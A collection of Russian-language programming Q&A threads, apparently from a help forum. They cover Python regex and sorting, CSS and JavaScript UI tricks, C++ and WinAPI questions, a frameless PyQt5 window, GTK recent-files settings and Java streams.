В данной ситуации, как и вцелом, ответ зависит от того, как именно вам нужно вывести информацию. Учитывая моё понимание написанного выше, привожу свой вариант решения самой задачи. Соответственно, дополняю как вы просили ваше регулярное выражение: import re info = ['4 дні тому849 478 переглядів', '33 730 переглядів35 хвилин тому', '16 037 172 перегляди2 дні тому', '14 947 360 переглядів1 тиждень тому', '1 тиждень тому1 515 110 переглядів'] for string in info: match = re.search('([0-9]+\s){2,3}', string) print(match) if match: print('True') else: print('False') Регулярное выражение: ([0-9]+\s){2,3} тут исполнительная часть выражения взята в скобки - сгрупирована [0-9] - совпадение с этим диапазоном (можно заменить на более regexp'сное \d) +- любое количество символов (в нашем случае от одного до трех, т.к. 3 цифры и пробел) \s - любой знак препинания (можно заменить на [ ]) {2,3} - количество повторений Стоит учесть: Устойчивая конструкция сработает на любое цисло в последовательности (например 2151 5188845 112) только с учетом пробела вконце последовательности Будет выдавать ответ на значения выше тысячи (в примере через оформлены тысячи) Может быть любой знак препинания (\n . , ? и т.д.) Командная строка выдает мне следующее: <_sre.SRE_Match object; span=(10, 18), match='849 478 '> True <_sre.SRE_Match object; span=(0, 7), match='33 730 '> True <_sre.SRE_Match object; span=(0, 11), match='16 037 172 '> True <_sre.SRE_Match object; span=(0, 11), match='14 947 360 '> True <_sre.SRE_Match object; span=(14, 24), match='1 515 110 '> True Process returned 0 (0x0) execution time : 0.243 s Press any key to continue . . .

Ответ 2



((\d+\s*?)+)\s*перегляд https://ideone.com/MHFngZ import re info = ['4 дні тому849 478 переглядів', '33 730 переглядів35 хвилин тому', '16 037 172 перегляди2 дні тому', '14 947 360 переглядів1 тиждень тому', '1 тиждень тому1 515 110 переглядів'] for s in info: match = re.search('((\d+\s*?)+)\s*перегляд', s, re.IGNORECASE) if match: n = int(re.sub('\s', '', match.group(1))) print(n) 849478 33730 16037172 14947360 1515110

Как получить числа из строки и корректно отсортировать?

#python #строки #list


Есть файл с числами через запятую, без пробелов. Необходимо считать его и вывести
в консоль отсортированный список по возрастанию и убиванию.
Вот мои попытки:

import re

try:
    file_path = open(input('Введите путь к файлу: '))
except IOError:
    print('File not found')
file_value = file_path.read()
file_numbers = re.findall('\d+', file_value)
# print(file_numbers)
# print(type(file_numbers))
sorted(file_numbers, key=int)
print(file_numbers)
sorted(file_numbers, key=int, reverse=True)
print(file_numbers)


Собственно результат:


['6', '2', '3', '13', '5', '1', '7', '9', '18', '20', '16', '12', '15', '14', '10',
'11', '17', '9', '19']
['6', '2', '3', '13', '5', '1', '7', '9', '18', '20', '16', '12', '15', '14', '10',
'11', '17', '9', '19']



В чем ошибка и как поправить? :(

Так же были попытки сделать вот так:

try:
    file_path = open(input('Введите путь к файлу: '))
except IOError:
    print('File not found')
file_value = file_path.read()
# file_numbers = re.findall('\d+', file_value)
file_numbers = []
for i in file_value:
    try:
        num = int(i)
        file_numbers.append(num)
    except ValueError:
        continue
# print(file_numbers)
# print(type(file_numbers))
sorted(file_numbers, key=int)
print(file_numbers)
sorted(file_numbers, key=int, reverse=True)
print(file_numbers)


И на выходе получил вообще бред:


[6, 2, 3, 1, 3, 5, 1, 7, 9, 1, 8, 2, 0, 1, 6, 1, 2, 1, 5, 1, 4, 1, 0, 1, 1, 1, 7,
9, 1, 9]
[6, 2, 3, 1, 3, 5, 1, 7, 9, 1, 8, 2, 0, 1, 6, 1, 2, 1, 5, 1, 4, 1, 0, 1, 1, 1, 7,
9, 1, 9]


    


Ответы

Ответ 1



И на выходе получил вообще бред: Ваш код sorted(file_numbers, key=int) правильно был написан, но sorted возвращает новый отсортированный список, не изменяя исходный, поэтому вам нужно было сделать так: file_numbers = sorted(file_numbers, key=int) Можно отсортировать "на месте", как вы и хотели, но для этого нужно будет использовать sort: file_numbers.sort(key=int)

Ответ 2



Прежде всего, после получения списка строк, превратите его в список чисел: file_numbers = [int(number) for number in file_numbers] Затем - чтобы максимально сохранить ваш код - используйте вместо функции sorted() метод списка sort() (для прямой сортировки списка на месте): file_numbers.sort() print(file_numbers) file_numbers.sort(reverse=True) # или - более ефективно - file_numbers.reverse() print(file_numbers) Вывод: [1, 2, 3, 5, 6, 7, 9, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] [20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 9, 7, 6, 5, 3, 2, 1]

Как запретить растягивание textarea через css?

#html #css


Всем привет, как я могу запретить растягивание textarea через css?

Пример:



textarea {
  width: 300px;
  height: 150px;
}




    


Ответы

Ответ 1



Добавь resize: none для textarea: textarea { width: 200px; height: 150px; resize: none; }

Ответ 2



textarea { resize: none; }

Ответ 3



Добавьте resize: none; textarea { width: 300px; height: 150px; resize: none; }

Как подключить счетчик JS на несколько товаров?

#javascript


Есть несколько товаров в интернет-магазине. У каждого должен быть счетчик выбранного
кол-ва. После выгрузки товаров из БД все классы и идентификаторы повторяются, и у меня
выходит взаимодействовать только с одним счетчиком.
Как сделать, чтобы у каждого товара был работающий счетчик?
P.S. Просьба предлагать решения на чистом JS.



var plus = document.querySelectorAll ('.plus');
var minus = document.querySelectorAll('.minus');
var number = document.querySelectorAll('.number');
var i = 0;

plus[i].onclick = up;
function up() {
  var count = Number(number[i].innerHTML);
  number[i].innerHTML = count += 1;
}
minus[i].onclick = down;
function down() {
  var count = Number(number[i].innerHTML);
  number[i].innerHTML = count -= 1;	
}
-
1
+


Ответы

Ответ 1



Можно проходить по всем блокам .count и добавлять обработчики клика в рамках конкретного блока: function addHandlers(count) { var minus = count.querySelector(".minus"); var number = count.querySelector(".number"); var plus = count.querySelector(".plus"); plus.addEventListener("click", function() { number.innerText++; }); minus.addEventListener("click", function() { number.innerText--; }); } var counts = document.querySelectorAll(".count"); counts.forEach(addHandlers); .minus, .number, .plus { display: inline; }
-
1
+
-
1
+
-
1
+
ID элементов должны быть уникальны. В данной ситуации вполне можно обойтись только классами, так что, возможно, стоит отказаться от использования id здесь

Как высчитывается количество секций (partitions) в массиве

#c_sharp #net #сортировка


Array.Sort() в C# использует алгоритм разумной сортировки (introsort) следующим образом:

Если размер раздела меньше 16 элементов, он использует insertion sort алгоритм.

Если количество секций превышает 2 * log(N), где N диапазон входного массива, он
использует Heapsort алгоритм.

В противном случае он использует Quicksort алгоритм.

У меня такой вопрос: как этот алгоритм высчитывает количество секций в массиве? Было
бы глупо предположить, что встроенная сортировка сначала высчитывает на сколько секций
квиксорт разделит этот массив, а потом уже выбирает алгоритм.

Может быть есть какая-то формула?
    


Ответы

Ответ 1



Я думаю, что понятие "количество секций в массиве" здесь появилось вследствие какого-то недоразумения - возможно, кривой перевод. Интросорт использует быструю сортировку, которая выполняет разделение массива (partition) на части по выбранному опорному элементу (pivot). Вот если массив особо гнусный и опоры выбираются неудачно, то этих самых разделений будет слишком много. Интросорт следит за этим (глубина), и переключается на сортировку кучей. Для идеального случая глубина log2(n). Каков критерий глубины для переключения - зависит от конкретной реализации. Вот пример: The GNU Standard C++ library is similar: uses introsort with a maximum depth of 2×log2 n И опять мы видим использование кривого перевода - log это логарифм, а не журнал

Создание фильтра для карточки посредством html, js, css, svg

#javascript #html #css


Друзья, возник такой вопрос, как реализовать такой blur для карточки? Как переместить
в низ карточки вопросов не возникает, а вот как сделать такой blur непонятно, кто-то
может помочь в этом вопросе? Реализовать бы посредством js, html, css, svg или любыми
другими методами
    


Ответы

Ответ 1



Как вариант(исправлено, используя пример некоего Stas'а https://codepen.io/html_man/pen/oeNvOa): *,*:after,*:before { -webkit-box-sizing: border-box; box-sizing: border-box; padding: 0; margin: 0; outline: 0; } /*стили выше добавлены только для этого примера, в реальном проекте используйте normilize.css\reset.css*/ .main { position: relative; z-index: -1; height: 300px; width: 400px; border: 2px solid #000; -webkit-border-radius: 10px; border-radius: 10px; background: url(https://www.visitfinland.com/app/uploads/Aland_Islands_fishing-400x300.jpg) no-repeat 50% 50%; overflow: hidden; } .filter-child { position: absolute; left: -10px; right: -10px; bottom: -10px; height: 110px; background: inherit; background-repeat: no-repeat; background-position: bottom; overflow: hidden; } .filter-child::after { content: ''; left: 0; right: 0; bottom: 0px; height: 100%; position: absolute; z-index: 99; background: inherit; -webkit-box-shadow: inset 0 0 0 200px rgba(99, 99, 99, 0.4); box-shadow: inset 0 0 0 200px rgba(99, 99, 99, 0.4); -webkit-filter: blur(5px); filter: blur(5px); }


Влияет ли if на контекст this?

#javascript #ооп


Влияет ли if(условие){код с this} на контекст this?
    


Ответы

Ответ 1



Нет function someFunc() { console.log(this); var that = this; if (true) { console.log(this); console.log(this === that); } } someFunc.call("Iam context");

Можно ли напрямую в функцию передать массив?

#cpp #массивы #функции #случайные_числа


Функция выдаёт случайные числа в определённом диапазоне с исключением. Исключений
может быть сколько угодно.

int randint (int min, int max, int exceptions{}) { ... }


Как мне написать параметры функции, чтобы я мог вызывать функцию таким образом:

randint (0, 10, {4, 5, 6});


Мне нужна именно передача массива напрямую.
    


Ответы

Ответ 1



Возможны несколько вариантов: int randint (int min, int max, ::std::initializer_list values) int randint (int min, int max, ::std::array values) int randint (int min, int max, ::std::array_view values) // аналог gsl::span Использовать указатели для передачи массива в функцию не следует.

Как запретить создание файла .recently-used в Linux?

#linux


Как запретить создание файла .recently-used в Linux ?

Графическая оболочка - Mate.
    


Ответы

Ответ 1



Чтобы очистить "последние файлы" Nautilus (И не только Nautilus) нужно удалить этот файл командой: rm ~/.local/share/recently-used.xbel Чтобы отключить функцию recently-used: gedit ~/.config/gtk-3.0/settings.ini # вместо gedit может быть любой текстовик и под "[Settings]", вставляем следующие строчки: gtk-recent-files-max-age=0 gtk-recent-files-limit=0 В итоге файл settings.ini должен выглядеть так: [Settings] gtk-recent-files-max-age=0 gtk-recent-files-limit=0 Источник

css animations, которые внезапно завершаются сбоем вне ui

#html #css #css3 #анимация



Вопрос: может ли css определить, если анимация незавершена? 

 

storytime: У меня классный ui с анимированными кнопками. Они расширяются при наведении,
поэтому другие кнопки на панели  должны одновременно сжиматься. 

 

Моя проблема (характерная не только для этого примера, но также и общая, потому что
у меня были такие же проблемы и в других случаях). Когда я быстро перехожу по всем
кнопкам, чтобы ускорить 2 кнопки, они сокращаются, и только одна кнопка растет, и поэтому
они не заполняются как они должны,-  справа появляется белая полоска.  

код с ошибкой:  

.container:hover button{
    width: calc((100% / 3) - 5%);
}
.container button:hover{
    width: calc((100% / 3) + 10%);
}  


Полный код:  



.container {
  width: 375px;
  height: 100px;
}

.container button {
  transition: .15s;
  float: left;
  height: 100%;
  border: none;
  object-fit: cover;
  width: calc(100% / 3);
}

.container:hover button {
  width: calc((100% / 3) - 5%);
}

.container button:hover {
  width: calc((100% / 3) + 10%);
}

button.green {
  background-color: #27ae60;
  color: white;
}

button.blue {
  background-color: #3498db;
  color: white;
}

button.white {
  background-color: #ecf0f1;
}

body {
  background-color: #929AAA;
}

div.container {
  background-color: #FFF;
  box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
  margin: calc(100vh / 4 - 50px) auto
}
Ещё один пример - Codepen


Ответы

Ответ 1



Идея состоит в том, чтобы сделать только один элемент, с увеличением размера при наведении, а другие при этом должны уменьшится. Вот пример с flexbox: .container { width: 375px; height: 100px; display: flex; } button { transition: .15s; flex: 1; border: none; } /* you want to have 28% + 44% + 28% so it's 1 + 1.57 + 1*/ .container button:hover { flex: 1.57; } /*For styling*/ button.green { background-color: #27ae60; color: white; } button.blue { background-color: #3498db; color: white; } button.white { background-color: #ecf0f1; } body { background-color: #929AAA; } div.container { background-color: #FFF; box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); margin: calc((100vh - 100px) / 2) auto }


Анализ php-кода на совместимость с php 5.2.4

#php


Где найти анализатор кода на совместимость с php 5.2.4?

5.3-7.2 встроены в PhpStorm. Ниже нет. Онлайн смог найти только 5.2.17.
    


Ответы

Ответ 1



Оказывается, всё просто. Загрузить из архивов php 5.2.4 на локальный компьютер. Запустить линтер (анализатор кода) php -l файл.php

Как работать с заголовком окна?

#python #pyqt5


Хочу модернизировать заголовок окна. Например цвет заголовка и хочу добавить еще
одну собственную кнопку. Как это реализовать? Чтоб не было вечно такого:


Пример:
Запускающий файл

import sys, os, time, random
from PyQt5 import QtWidgets, QtCore, QtGui
from PyQt5.QtCore import Qt, pyqtSignal
from MainWindow import Ui_MainWindow

# стиль
StyleSheet = """
/* Панель заголовка */
TitleBar {
    background-color: #2a3440;
}
/* Минимизировать кнопку `Максимальное выключение` Общий фон по умолчанию */
#buttonMinimum,#buttonMaximum,#buttonClose, #buttonMy {
    border: none;
    background-color: #2a3440;
}
/* Зависание */
#buttonMinimum:hover,#buttonMaximum:hover {
    background-color: #2a3440;
}
#buttonClose:hover {
    color: white;
    background-color: #2a3440;
}
#buttonMy:hover {
    color: white;
    background-color: green;   /* rgb(232, 17, 35) */
}
/* Мышь удерживать */
#buttonMinimum:pressed,#buttonMaximum:pressed {
    background-color: #2a3440;
}
#buttonClose:pressed {
    color: white;
    background-color: #2a3440;
}
"""

class Window(QtWidgets.QMainWindow):
    def __init__(self, parent=None):
        super(Window, self).__init__(parent)
        self.Window = Ui_MainWindow()
        self.Window.setupUi(self)
        self.show()


if __name__ == '__main__':
    app = QtWidgets.QApplication(sys.argv)
    app.setStyleSheet(StyleSheet)
    Win = Window()
    Win.show()
    sys.exit(app.exec_())


Сам файл накиданный в дизайнере

# -*- coding: utf-8 -*-

# Form implementation generated from reading ui file 'MainWindow.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!

from PyQt5 import QtCore, QtGui, QtWidgets

class Ui_MainWindow(object):
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(257, 60)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setGeometry(QtCore.QRect(160, 20, 75, 23))
        self.pushButton.setObjectName("pushButton")
        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)
        self.lineEdit.setGeometry(QtCore.QRect(20, 20, 113, 20))
        self.lineEdit.setObjectName("lineEdit")
        MainWindow.setCentralWidget(self.centralwidget)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        _translate = QtCore.QCoreApplication.translate
        MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
        self.pushButton.setText(_translate("MainWindow", "PushButton"))

    


Ответы

Ответ 1



Отличный пример демонстрации как это делается: main.py #!/usr/bin/env python # -*- coding: utf-8 -*- from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import QWidget, QVBoxLayout, QPushButton, QTextEdit from PyQt5.QtCore import pyqtSignal from FramelessWindow import FramelessWindow # Created on 2018年4月30日 # author: Irony # site: https://github.com/892768447 # email: 892768447@qq.com # file: Test # description: __Author__ = """By: Irony QQ: 892768447 Email: 892768447@qq.com""" __Copyright__ = 'Copyright (c) 2018 Irony' __Version__ = 1.0 class MainWindow(QWidget): def __init__(self, *args, **kwargs): super(MainWindow, self).__init__(*args, **kwargs) objectTitleBar = args[0].titleBar layout = QVBoxLayout(self, spacing=0) layout.setContentsMargins(0, 0, 0, 0) layout.addWidget(QPushButton('Кнопка', self)) self.textEdit = QTextEdit(self) layout.addWidget(self.textEdit) objectTitleBar.signalButtonMy.connect(self.onButtonMy) def onButtonMy(self): self.textEdit.append("Нажата `Своя Кнопка`!") # стиль StyleSheet = """ /* Панель заголовка */ TitleBar { background-color: rgb(54, 157, 180); } /* Минимизировать кнопку `Максимальное выключение` Общий фон по умолчанию */ #buttonMinimum,#buttonMaximum,#buttonClose, #buttonMy { border: none; background-color: rgb(54, 157, 180); } /* Зависание */ #buttonMinimum:hover,#buttonMaximum:hover { background-color: rgb(48, 141, 162); } #buttonClose:hover { color: white; background-color: rgb(232, 17, 35); } #buttonMy:hover { color: white; background-color: green; /* rgb(232, 17, 35) */ } /* Мышь удерживать */ #buttonMinimum:pressed,#buttonMaximum:pressed { background-color: rgb(44, 125, 144); } #buttonClose:pressed { color: white; background-color: rgb(161, 73, 92); } """ if __name__ == '__main__': import sys from PyQt5.QtWidgets import QApplication app = QApplication(sys.argv) app.setStyleSheet(StyleSheet) w = FramelessWindow() w.setWindowTitle('Тестовая строка заголовка') w.setWindowIcon(QIcon('Qt.ico')) w.setWidget(MainWindow(w)) # Добавить свое окно w.show() sys.exit(app.exec_()) FramelessWindow.py #!/usr/bin/env python # -*- coding: utf-8 -*- from PyQt5.QtCore import Qt, pyqtSignal, QPoint from PyQt5.QtGui import QFont, QEnterEvent, QPainter, QColor, QPen from PyQt5.QtWidgets import (QWidget, QVBoxLayout, QHBoxLayout, QLabel, QSpacerItem, QSizePolicy, QPushButton) # Created on 2018年4月30日 # author: Irony # site: https://github.com/892768447 # email: 892768447@qq.com # file: FramelessWindow # description: __Author__ = """By: Irony QQ: 892768447 Email: 892768447@qq.com""" __Copyright__ = 'Copyright (c) 2018 Irony' __Version__ = 1.0 class TitleBar(QWidget): # Сигнал минимизации окна windowMinimumed = pyqtSignal() # увеличить максимальный сигнал окна windowMaximumed = pyqtSignal() # сигнал восстановления окна windowNormaled = pyqtSignal() # сигнал закрытия окна windowClosed = pyqtSignal() # Окно мобильных windowMoved = pyqtSignal(QPoint) # Сигнал Своя Кнопка +++ signalButtonMy = pyqtSignal() def __init__(self, *args, **kwargs): super(TitleBar, self).__init__(*args, **kwargs) # Поддержка настройки фона qss self.setAttribute(Qt.WA_StyledBackground, True) self.mPos = None self.iconSize = 20 # Размер значка по умолчанию # Установите цвет фона по умолчанию, иначе он будет прозрачным из-за влияния родительского окна self.setAutoFillBackground(True) palette = self.palette() palette.setColor(palette.Window, QColor(240, 240, 240)) self.setPalette(palette) # макет layout = QHBoxLayout(self, spacing=0) layout.setContentsMargins(0, 0, 0, 0) # значок окна self.iconLabel = QLabel(self) # self.iconLabel.setScaledContents(True) layout.addWidget(self.iconLabel) # название окна self.titleLabel = QLabel(self) self.titleLabel.setMargin(2) layout.addWidget(self.titleLabel) # Средний телескопический бар layout.addSpacerItem(QSpacerItem( 40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)) # Использовать шрифты Webdings для отображения значков font = self.font() or QFont() font.setFamily('Webdings') # Своя Кнопка ++++++++++++++++++++++++++ self.buttonMy = QPushButton( '@', self, clicked=self.showButtonMy, font=font, objectName='buttonMy') layout.addWidget(self.buttonMy) # Свернуть кнопку self.buttonMinimum = QPushButton( '0', self, clicked=self.windowMinimumed.emit, font=font, objectName='buttonMinimum') layout.addWidget(self.buttonMinimum) # Кнопка Max / restore self.buttonMaximum = QPushButton( '1', self, clicked=self.showMaximized, font=font, objectName='buttonMaximum') layout.addWidget(self.buttonMaximum) # Кнопка закрытия self.buttonClose = QPushButton( 'r', self, clicked=self.windowClosed.emit, font=font, objectName='buttonClose') layout.addWidget(self.buttonClose) # начальная высота self.setHeight() # +++ Вызывается по нажатию кнопки buttonMy def showButtonMy(self): print("Своя Кнопка ") self.signalButtonMy.emit() def showMaximized(self): if self.buttonMaximum.text() == '1': # Максимизировать self.buttonMaximum.setText('2') self.windowMaximumed.emit() else: # Восстановить self.buttonMaximum.setText('1') self.windowNormaled.emit() def setHeight(self, height=38): """ Установка высоты строки заголовка """ self.setMinimumHeight(height) self.setMaximumHeight(height) # Задайте размер правой кнопки ? self.buttonMinimum.setMinimumSize(height, height) self.buttonMinimum.setMaximumSize(height, height) self.buttonMaximum.setMinimumSize(height, height) self.buttonMaximum.setMaximumSize(height, height) self.buttonClose.setMinimumSize(height, height) self.buttonClose.setMaximumSize(height, height) self.buttonMy.setMinimumSize(height, height) self.buttonMy.setMaximumSize(height, height) def setTitle(self, title): """ Установить заголовок """ self.titleLabel.setText(title) def setIcon(self, icon): """ настройки значокa """ self.iconLabel.setPixmap(icon.pixmap(self.iconSize, self.iconSize)) def setIconSize(self, size): """ Установить размер значка """ self.iconSize = size def enterEvent(self, event): self.setCursor(Qt.ArrowCursor) super(TitleBar, self).enterEvent(event) def mouseDoubleClickEvent(self, event): super(TitleBar, self).mouseDoubleClickEvent(event) self.showMaximized() def mousePressEvent(self, event): """ Событие клика мыши """ if event.button() == Qt.LeftButton: self.mPos = event.pos() event.accept() def mouseReleaseEvent(self, event): ''' Событие отказов мыши ''' self.mPos = None event.accept() def mouseMoveEvent(self, event): if event.buttons() == Qt.LeftButton and self.mPos: self.windowMoved.emit(self.mapToGlobal(event.pos() - self.mPos)) event.accept() # Перечислить верхнюю левую, нижнюю правую и четыре неподвижные точки Left, Top, Right, Bottom, LeftTop, RightTop, LeftBottom, RightBottom = range(8) class FramelessWindow(QWidget): # Четыре периметра Margins = 5 def __init__(self, *args, **kwargs): super(FramelessWindow, self).__init__(*args, **kwargs) self._pressed = False self.Direction = None # Фон прозрачный self.setAttribute(Qt.WA_TranslucentBackground, True) # Нет границы self.setWindowFlag(Qt.FramelessWindowHint) # Отслеживание мыши self.setMouseTracking(True) # макет layout = QVBoxLayout(self, spacing=0) # Зарезервировать границы для изменения размера окна без полей layout.setContentsMargins( self.Margins, self.Margins, self.Margins, self.Margins) # Панель заголовка self.titleBar = TitleBar(self) layout.addWidget(self.titleBar) # слот сигнала self.titleBar.windowMinimumed.connect(self.showMinimized) self.titleBar.windowMaximumed.connect(self.showMaximized) self.titleBar.windowNormaled.connect(self.showNormal) self.titleBar.windowClosed.connect(self.close) self.titleBar.windowMoved.connect(self.move) self.windowTitleChanged.connect(self.titleBar.setTitle) self.windowIconChanged.connect(self.titleBar.setIcon) def setTitleBarHeight(self, height=38): """ Установка высоты строки заголовка """ self.titleBar.setHeight(height) def setIconSize(self, size): """ Установка размера значка """ self.titleBar.setIconSize(size) def setWidget(self, widget): """ Настройте свои собственные элементы управления """ if hasattr(self, '_widget'): return self._widget = widget # Установите цвет фона по умолчанию, иначе он будет прозрачным из-за влияния родительского окна self._widget.setAutoFillBackground(True) palette = self._widget.palette() palette.setColor(palette.Window, QColor(240, 240, 240)) self._widget.setPalette(palette) self._widget.installEventFilter(self) self.layout().addWidget(self._widget) def move(self, pos): if self.windowState() == Qt.WindowMaximized or self.windowState() == Qt.WindowFullScreen: # Максимизировать или полноэкранный режим не допускается return super(FramelessWindow, self).move(pos) def showMaximized(self): """ Чтобы максимизировать, удалите верхнюю, нижнюю, левую и правую границы. Если вы не удалите его, в пограничной области будут пробелы. """ super(FramelessWindow, self).showMaximized() self.layout().setContentsMargins(0, 0, 0, 0) def showNormal(self): """ Восстановить, сохранить верхнюю и нижнюю левую и правую границы, иначе нет границы, которую нельзя отрегулировать """ super(FramelessWindow, self).showNormal() self.layout().setContentsMargins( self.Margins, self.Margins, self.Margins, self.Margins) def eventFilter(self, obj, event): """ Фильтр событий, используемый для решения мыши в других элементах управления и восстановления стандартного стиля мыши """ if isinstance(event, QEnterEvent): self.setCursor(Qt.ArrowCursor) return super(FramelessWindow, self).eventFilter(obj, event) def paintEvent(self, event): """ Поскольку это полностью прозрачное фоновое окно, жесткая для поиска граница с прозрачностью 1 рисуется в событии перерисовывания, чтобы отрегулировать размер окна. """ super(FramelessWindow, self).paintEvent(event) painter = QPainter(self) painter.setPen(QPen(QColor(255, 255, 255, 1), 2 * self.Margins)) painter.drawRect(self.rect()) def mousePressEvent(self, event): """ Событие клика мыши """ super(FramelessWindow, self).mousePressEvent(event) if event.button() == Qt.LeftButton: self._mpos = event.pos() self._pressed = True def mouseReleaseEvent(self, event): ''' Событие отказов мыши ''' super(FramelessWindow, self).mouseReleaseEvent(event) self._pressed = False self.Direction = None def mouseMoveEvent(self, event): """ Событие перемещения мыши """ super(FramelessWindow, self).mouseMoveEvent(event) pos = event.pos() xPos, yPos = pos.x(), pos.y() wm, hm = self.width() - self.Margins, self.height() - self.Margins if self.isMaximized() or self.isFullScreen(): self.Direction = None self.setCursor(Qt.ArrowCursor) return if event.buttons() == Qt.LeftButton and self._pressed: self._resizeWidget(pos) return if xPos <= self.Margins and yPos <= self.Margins: # Верхний левый угол self.Direction = LeftTop self.setCursor(Qt.SizeFDiagCursor) elif wm <= xPos <= self.width() and hm <= yPos <= self.height(): # Нижний правый угол self.Direction = RightBottom self.setCursor(Qt.SizeFDiagCursor) elif wm <= xPos and yPos <= self.Margins: # верхний правый угол self.Direction = RightTop self.setCursor(Qt.SizeBDiagCursor) elif xPos <= self.Margins and hm <= yPos: # Нижний левый угол self.Direction = LeftBottom self.setCursor(Qt.SizeBDiagCursor) elif 0 <= xPos <= self.Margins and self.Margins <= yPos <= hm: # Влево self.Direction = Left self.setCursor(Qt.SizeHorCursor) elif wm <= xPos <= self.width() and self.Margins <= yPos <= hm: # Право self.Direction = Right self.setCursor(Qt.SizeHorCursor) elif self.Margins <= xPos <= wm and 0 <= yPos <= self.Margins: # выше self.Direction = Top self.setCursor(Qt.SizeVerCursor) elif self.Margins <= xPos <= wm and hm <= yPos <= self.height(): # ниже self.Direction = Bottom self.setCursor(Qt.SizeVerCursor) def _resizeWidget(self, pos): """ Отрегулируйте размер окна """ if self.Direction == None: return mpos = pos - self._mpos xPos, yPos = mpos.x(), mpos.y() geometry = self.geometry() x, y, w, h = geometry.x(), geometry.y(), geometry.width(), geometry.height() if self.Direction == LeftTop: # Верхний левый угол if w - xPos > self.minimumWidth(): x += xPos w -= xPos if h - yPos > self.minimumHeight(): y += yPos h -= yPos elif self.Direction == RightBottom: # Нижний правый угол if w + xPos > self.minimumWidth(): w += xPos self._mpos = pos if h + yPos > self.minimumHeight(): h += yPos self._mpos = pos elif self.Direction == RightTop: # верхний правый угол if h - yPos > self.minimumHeight(): y += yPos h -= yPos if w + xPos > self.minimumWidth(): w += xPos self._mpos.setX(pos.x()) elif self.Direction == LeftBottom: # Нижний левый угол if w - xPos > self.minimumWidth(): x += xPos w -= xPos if h + yPos > self.minimumHeight(): h += yPos self._mpos.setY(pos.y()) elif self.Direction == Left: # Влево if w - xPos > self.minimumWidth(): x += xPos w -= xPos else: return elif self.Direction == Right: # Право if w + xPos > self.minimumWidth(): w += xPos self._mpos = pos else: return elif self.Direction == Top: # выше if h - yPos > self.minimumHeight(): y += yPos h -= yPos else: return elif self.Direction == Bottom: # ниже if h + yPos > self.minimumHeight(): h += yPos self._mpos = pos else: return self.setGeometry(x, y, w, h)

WINAPI GetMessageW не перестает принимать сообщения после вызова PostQuitMessage

#cpp #c #winapi


По каким причинам происходит следующее, если в функцию GetMessageW, 2м параметром
передать HWND окна, при вызове PostQuitMessage в процедуре окна при получении сообщения
WM_DESTROY, окно просто закрывается, но не уничтожается, и цикл обработки сообщений
окна продолжает работать? При это, если передать NULL или nullptr, то при таком раскладе
все отрабатывает нормально?

Так работает нормально

MSG msg{};
while (GetMessageW(&msg, nullptr, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}


Но вот так, уже не завершится цикл.

MSG msg{};
while (GetMessageW(&msg, m_window_handle_, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}


Помимо GetMessageW, c PeekMessageW происходит та же ситуация, т.е. сообщение WM_QUIT
не доходит.
    


Ответы

Ответ 1



Если получен WM_DESTROY, то окно уничтожается, его дескриптор становится невалидным, а функция GetMessageW будет продолжать вызываться с невалидным параметром и возвращать ошибку, но так как проверка возвращаемого значения сделана неверно, то цикл будет продолжать крутится. В документации прямо сказано, что так делать не стоит: Because the return value can be nonzero, zero, or -1, avoid code like this: while (GetMessage( lpMsg, hWnd, 0, 0)) ...

Как в бета версии сделать отправку определенных данных разработчику?

#java #android #playmarket


Разместил Бета версию приложения в PlayMarket.
На период тестирования в приложении будет кнопка "Отправка статистики разработчику".
При нажатии будет формироваться определенный отчет с данными, который надо передать
мне, разработчику.

Как это реализовать? 
    


Ответы

Ответ 1



Ну, если у вас есть какой-то сервер, способный принять и обработать запрос, то достаточно будет отправить запрос c JSON пакетом на указанный адрес. Можно попробовать отправить непосредственно письмо - но с этим сложнее (я бы не рекомендовал с этим связываться). Можно пойти еще одним путем - добавить облачный сервис (например firebase) и писать логи в облачную базу. Это несколько громоздко, но работать будет как надо. Далее вы результат можете просмотреть прямо в браузере с любого устройства =) Но это только если не хотите запариваться написание сервера.

Удаление дубликатов по полю объекта Stream API

#java #коллекции #lambda #java_stream #java_8


У нас есть список объектов доменной области (Person). У объекта Person есть 3 поля:
id, имя, фамилия. Задача: найти дубликаты и создать из них список (или множество, не
важно), остальные объекты отбросить. Дубликатами являются объекты, у которых совпадает
поле имя. Реализовать механизм необходимо через стримы. Решение: 

private static  Predicate distinctByKey(Function keyExtractor) {
            Set seen = new HashSet<>();
            return t -> seen.add(keyExtractor.apply(t));
}

persons.stream().filter(distinctByKey(Person::getName))


Реализация работает, но есть вопросы по работе такого подхода:


Судя по всему HashSet создается всего лишь единожды. Но почему? Изначально все же
ожидается будто множество будет создаваться при каждой итерации. Хотелось бы увидеть
развернутый ответ на этот счет.
Вызывает вопрос строка return. Откуда у нас берется реализация метода apply()? Явно
ведь я нигде не реализую Function и метод apply() соответственно.

    


Ответы

Ответ 1



